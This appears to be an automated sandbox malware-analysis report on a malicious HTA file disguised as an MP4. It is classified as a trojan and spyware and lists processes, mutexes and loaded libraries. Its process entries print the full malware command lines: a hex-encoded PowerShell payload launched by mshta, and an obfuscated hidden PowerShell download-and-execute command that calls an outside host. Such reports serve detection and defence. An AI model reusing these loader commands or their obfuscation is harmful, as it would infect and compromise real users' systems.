Source: 6.2.powershell.exe.30a0000.0.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winHTA@9/6@3/2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 22_2_00437B10 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

22_2_00437B10

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Tdyjmmmaz
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1372:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jwmdcjh5.eyt.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: winwidgetshp.mp4.hta

Virustotal: Detection: 14%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\winwidgetshp.mp4.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D8	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
